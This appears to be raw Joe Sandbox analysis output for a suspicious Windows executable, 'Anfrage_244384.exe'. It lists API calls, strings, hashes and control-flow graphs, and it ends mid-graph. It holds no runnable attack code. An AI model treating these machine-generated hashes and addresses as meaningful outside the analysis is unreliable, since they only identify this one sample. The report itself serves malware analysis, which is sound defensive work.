                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: TextWindow
                                                        • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$1033$Debutromaners241 Setup
                                                        • API String ID: 530164218-1492260572
                                                        • Opcode ID: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                        • Instruction ID: b04f25c42bae21d45f40ba66b929719106617fb277c5c9e4054ff8f425243e64
                                                        • Opcode Fuzzy Hash: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                        • Instruction Fuzzy Hash: 1811A431B005109BC720EF55DC8097777ACEF94759758813BE841A7391D6399D038E68
                                                        Function 00405835 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 0040583B
                                                        • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405844
                                                        • lstrcatA.KERNEL32(?,0040A014), ref: 00405855
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405835
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CharPrevlstrcatlstrlen
                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 2659869361-4083868402
                                                        • Opcode ID: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                        • Instruction ID: 43d0cd13a6a684b33c4c302d476afec45ae212270d2ea225269fd4ac386bbf9e
                                                        • Opcode Fuzzy Hash: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                        • Instruction Fuzzy Hash: 46D0A9A2201A302AE20237158C09ECB2A08CF12316B04803BF202B21A1CA7D0D428BFE
                                                        Function 00401B5D Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalFree.KERNEL32(007375E8), ref: 00401BCC
                                                        • GlobalAlloc.KERNEL32(00000040,00000404), ref: 00401BDE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$AllocFree
                                                        • String ID: Call$us
                                                        • API String ID: 3394109436-858217411
                                                        • Opcode ID: 382e83497b6452e7c65802fe1326a2029af183ce9cf88f464a37c6325ccb903e
                                                        • Instruction ID: d054425cb323db0c5527465b0d1f96526ab7a24d54a529c5f55500c1511f63c4
                                                        • Opcode Fuzzy Hash: 382e83497b6452e7c65802fe1326a2029af183ce9cf88f464a37c6325ccb903e
                                                        • Instruction Fuzzy Hash: AB2184726002159BD710ABA49E88E5E77E9DB44314B28883BF241B33D1D77999018F6D
                                                        Function 00402C96 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DestroyWindow.USER32(00000000,00000000,00402E76,00000001), ref: 00402CA9
                                                        • GetTickCount.KERNEL32 ref: 00402CC7
                                                        • CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402CE4
                                                        • ShowWindow.USER32(00000000,00000005), ref: 00402CF2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                        • String ID:
                                                        • API String ID: 2102729457-0
                                                        • Opcode ID: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                        • Instruction ID: 83d2969b76bdb5b590415ddeb9dbf6a67b394939c3bc7fdf3e8ca1fe09a6ce6e
                                                        • Opcode Fuzzy Hash: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                        • Instruction Fuzzy Hash: 4CF05E31605620ABD6217B20FF0C99F7BA4B714B45B81057EF045B21F8CB7818868B9C
                                                        Function 00405923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Debutromaners241 Setup,NSIS Error), ref: 00405DD0
                                                          • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,75573410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                          • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                        • lstrlenA.KERNEL32(0042BC70,00000000,0042BC70,0042BC70,75573410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405976
                                                        • GetFileAttributesA.KERNEL32(0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,00000000,0042BC70,0042BC70,75573410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75573410,C:\Users\user\AppData\Local\Temp\), ref: 00405986
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405923
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 3248276644-4083868402
                                                        • Opcode ID: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                        • Instruction ID: 92543aceb9d73041788eed49261eabef0250a74612a1112b20cd45f7194ba1aa
                                                        • Opcode Fuzzy Hash: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                        • Instruction Fuzzy Hash: 2FF0F466104E51A2C222333A1C09E9F0A18CE43374719453FFCA1B62C2DB3C8D569DBE
                                                        Function 004036AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FreeLibrary.KERNEL32(?,75573410,00000000,C:\Users\user\AppData\Local\Temp\,00403686,004034A0,?), ref: 004036C8
                                                        • GlobalFree.KERNEL32(0072C090), ref: 004036CF
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 004036AE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Free$GlobalLibrary
                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 1100898210-4083868402
                                                        • Opcode ID: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                        • Instruction ID: 9fca1652fb000c4b705c35b2fab9dc87deb0b29542395ee28e6d3d9d92831ef3
                                                        • Opcode Fuzzy Hash: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                        • Instruction Fuzzy Hash: B8E08C32A2102067CA312F54EE0472A7BAC6F49B22F09046AE9807B3608B755C424BCC
                                                        Function 0040587C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage_244384.exe,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405882
                                                        • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage_244384.exe,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405890
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CharPrevlstrlen
                                                        • String ID: C:\Users\user\Desktop
                                                        • API String ID: 2709904686-1876063424
                                                        • Opcode ID: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                        • Instruction ID: 2ed5ef101b5713daa1f548366255804a524b1aabb415f21906ff2d2d9e5555c3
                                                        • Opcode Fuzzy Hash: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                        • Instruction Fuzzy Hash: C3D0A763408D701EF30363108C04B9F7A48DF12300F0940B2E481A2190C6BC0C424BBD
                                                        Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
                                                        • GlobalFree.KERNEL32(00000000), ref: 100011B4
                                                        • GlobalFree.KERNEL32(?), ref: 100011C7
                                                        • GlobalFree.KERNEL32(?), ref: 100011F5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$Alloc
                                                        • String ID:
                                                        • API String ID: 1780285237-0
                                                        • Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                        • Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
                                                        • Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                        • Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24
                                                        Function 0040599B Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                        • lstrcmpiA.KERNEL32(00000000,00000000), ref: 004059C3
                                                        • CharNextA.USER32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059D4
                                                        • lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: lstrlen$CharNextlstrcmpi
                                                        • String ID:
                                                        • API String ID: 190613189-0
                                                        • Opcode ID: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                        • Instruction ID: a6643053d284366244d0af05be0bd1f2da836f60db037e8ed7330f0f38b612ff
                                                        • Opcode Fuzzy Hash: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                        • Instruction Fuzzy Hash: D6F06232105918EFD7029BA5DD0099FBBA8EF16360B2540BAE840F7210D674DE019BA9

                                                        Execution Graph

                                                        Execution Coverage:0%
                                                        Dynamic/Decrypted Code Coverage:100%
                                                        Signature Coverage:100%
                                                        Total number of Nodes:1
                                                        Total number of Limit Nodes:0
                                                        execution_graph 77564 346b2df0 LdrInitializeThunk

                                                        Executed Functions

                                                        Function 346B35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1 346b35c0-346b35cc LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: ff8a0f66ad055161312fad87e418284005feef18de4103b0ba58a3b826d1294f
                                                        • Instruction ID: 39db7cba04a5e05d81b084e8157e14619d8d75f9397a1704ffff287b2dbcb881
                                                        • Opcode Fuzzy Hash: ff8a0f66ad055161312fad87e418284005feef18de4103b0ba58a3b826d1294f
                                                        • Instruction Fuzzy Hash: 1090023160550402D1107999451471610058BD0206F65D412A0425528E8796CE5565A2
                                                        Function 346B2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 0 346b2df0-346b2dfc LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: 2bf53825079ffa8fcd61d143ee928271621a5955e07df044aaf646d9c2cc5829
                                                        • Instruction ID: aaeda96a5d48e94fb12ab62fa401b8a92384820e616e5e41415a3af11a7e9396
                                                        • Opcode Fuzzy Hash: 2bf53825079ffa8fcd61d143ee928271621a5955e07df044aaf646d9c2cc5829
                                                        • Instruction Fuzzy Hash: 3590023120140413D1217999450471700098BD0246F95D413A0425518E9657CE56A121

                                                        Non-executed Functions

                                                        Function 3472FCAB Relevance: 31.4, Strings: 25, Instructions: 195COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 95 3472fcab-3472fcc3 GetPEB 96 3472fce2-3472fce3 call 3466b970 95->96 97 3472fcc5-3472fce0 GetPEB call 3466b970 95->97 101 3472fce8-3472fd0a call 3466b970 96->101 97->101 104 3472fd81-3472fd8a GetPEB 101->104 105 3472fd0c 101->105 122 3472fda9-3472fdaa call 3466b970 104->122 123 3472fd8c-3472fda7 GetPEB call 3466b970 104->123 106 3472fd52-3472fd57 105->106 107 3472fd13-3472fd18 105->107 108 3472fd36-3472fd3b 105->108 109 3472fd75-3472fd7a 105->109 110 3472fd1a-3472fd1f 105->110 111 3472fd59-3472fd5e 105->111 112 3472fd7c 105->112 113 3472fd3d-3472fd42 105->113 114 3472fd60-3472fd65 105->114 115 3472fd21-3472fd26 105->115 116 3472fd67-3472fd6c 105->116 117 3472fd44-3472fd49 105->117 118 3472fd4b-3472fd50 105->118 119 3472fd28-3472fd2d 105->119 120 3472fd6e-3472fd73 105->120 121 3472fd2f-3472fd34 105->121 106->104 107->104 108->104 109->104 110->104 111->104 112->104 113->104 114->104 115->104 116->104 117->104 118->104 119->104 120->104 121->104 127 3472fdaf-3472fdca call 3466b970 122->127 123->127 130 3472fdcc-3472fdd5 GetPEB 127->130 131 3472fe0d-3472fe13 127->131 132 3472fdd7-3472fdf2 GetPEB call 3466b970 130->132 133 3472fdf4-3472fdf5 call 3466b970 130->133 134 3472fe56-3472fe5c 131->134 135 3472fe15-3472fe1e GetPEB 131->135 146 3472fdfa-3472fe0c call 3466b970 132->146 133->146 136 3472fe5e-3472fe67 GetPEB 134->136 137 3472fe9f-3472fea5 134->137 140 3472fe20-3472fe3b GetPEB call 3466b970 135->140 141 3472fe3d-3472fe3e call 3466b970 135->141 144 3472fe86-3472fe87 call 3466b970 136->144 145 3472fe69-3472fe84 GetPEB call 3466b970 136->145 148 3472fea7-3472fead 137->148 149 3472feaf-3472feb8 GetPEB 137->149 150 3472fe43-3472fe55 call 3466b970 140->150 141->150 165 3472fe8c-3472fe9e call 3466b970 144->165 145->165 146->131 148->149 153 3472fef7-3472ff00 GetPEB 148->153 154 3472fed7-3472fed8 call 3466b970 149->154 155 3472feba-3472fed5 GetPEB call 3466b970 149->155 150->134 163 3472ff02-3472ff1d GetPEB call 3466b970 153->163 164 3472ff1f-3472ff20 call 3466b970 153->164 169 3472fedd-3472fef4 call 3466b970 154->169 155->169 175 3472ff25-3472ff3a call 3466b970 163->175 164->175 165->137 169->153
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                                        • API String ID: 0-2897834094
                                                        • Opcode ID: 161ac1077bbfb437ff9f34809b58d2be782baec79856216a85b695fad6be762c
                                                        • Instruction ID: cb03c745b59051b97e3848dd9e36eefc8583511878bcb560faed80380e435e5e
                                                        • Opcode Fuzzy Hash: 161ac1077bbfb437ff9f34809b58d2be782baec79856216a85b695fad6be762c
                                                        • Instruction Fuzzy Hash: 1261C172A16751DFE3419F54C494E2173E9EB0AA3CB05406EE9029F752CA3DEC82DE4D
                                                        Function 347194E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 179 347194e0-34719529 180 34719578-34719587 179->180 181 3471952b-34719530 179->181 182 34719534-3471953a 180->182 183 34719589-3471958e 180->183 181->182 184 34719540-34719564 call 346b9020 182->184 185 34719695-347196bd call 346b9020 182->185 186 34719d13-34719d27 call 346b4c30 183->186 193 34719593-34719634 GetPEB call 3471dc65 184->193 194 34719566-34719573 call 3473972b 184->194 195 347196dc-34719712 185->195 196 347196bf-347196da call 34719d2a 185->196 205 34719652-34719667 193->205 206 34719636-34719644 193->206 207 3471967d-34719690 RtlDebugPrintTimes 194->207 198 34719714-34719716 195->198 196->198 198->186 203 3471971c-34719731 RtlDebugPrintTimes 198->203 203->186 213 34719737-3471973e 203->213 205->207 209 34719669-3471966e 205->209 206->205 208 34719646-3471964b 206->208 207->186 208->205 211 34719670 209->211 212 34719673-34719676 209->212 211->212 212->207 213->186 215 34719744-3471975f 213->215 216 34719763-34719774 call 3471a808 215->216 219 34719d11 216->219 220 3471977a-3471977c 216->220 219->186 220->186 221 34719782-34719789 220->221 222 347198fc-34719902 221->222 223 3471978f-34719794 221->223 224 34719908-34719937 call 346b9020 222->224 225 34719a9c-34719aa2 222->225 226 34719796-3471979c 223->226 227 347197bc 223->227 241 34719970-34719985 224->241 242 34719939-34719944 224->242 230 34719af4-34719af9 225->230 231 34719aa4-34719aad 225->231 226->227 232 3471979e-347197b2 226->232 228 347197c0-34719811 call 346b9020 RtlDebugPrintTimes 227->228 228->186 268 34719817-3471981b 228->268 238 34719ba8-34719bb1 230->238 239 34719aff-34719b07 230->239 231->216 237 34719ab3-34719aef call 346b9020 231->237 233 347197b4-347197b6 232->233 234 347197b8-347197ba 232->234 233->228 234->228 262 34719ce9 237->262 238->216 243 34719bb7-34719bba 238->243 245 34719b13-34719b3d call 34718513 239->245 246 34719b09-34719b0d 239->246 253 34719991-34719998 241->253 254 34719987-34719989 241->254 248 34719946-3471994d 242->248 249 3471994f-3471996e 242->249 250 34719bc0-34719c0a 243->250 251 34719c7d-34719cb4 call 346b9020 243->251 265 34719b43-34719b9e call 346b9020 RtlDebugPrintTimes 245->265 266 34719d08-34719d0c 245->266 246->238 246->245 248->249 261 347199d9-347199f6 RtlDebugPrintTimes 249->261 259 34719c11-34719c1e 250->259 260 34719c0c 250->260 279 34719cb6 251->279 280 34719cbb-34719cc2 251->280 256 347199bd-347199bf 253->256 263 3471998b-3471998d 254->263 264 3471998f 254->264 269 347199c1-347199d7 256->269 270 3471999a-347199a4 256->270 271 34719c20-34719c23 259->271 272 34719c2a-34719c2d 259->272 260->259 261->186 293 347199fc-34719a1f call 346b9020 261->293 273 34719ced 262->273 263->253 264->253 265->186 311 34719ba4 265->311 266->216 281 3471986b-34719880 268->281 282 3471981d-34719825 268->282 269->261 276 347199a6 270->276 277 347199ad 270->277 271->272 274 34719c39-34719c7b 272->274 275 34719c2f-34719c32 272->275 284 34719cf1-34719d06 RtlDebugPrintTimes 273->284 274->284 275->274 276->269 285 347199a8-347199ab 276->285 287 347199af-347199b1 277->287 279->280 288 34719cc4-34719ccb 280->288 289 34719ccd 280->289 292 34719886-34719894 281->292 290 34719852-34719869 282->290 291 34719827-34719850 call 34718513 282->291 284->186 284->266 285->287 297 347199b3-347199b5 287->297 298 347199bb 287->298 299 34719cd1-34719cd7 288->299 289->299 290->292 294 34719898-347198ef 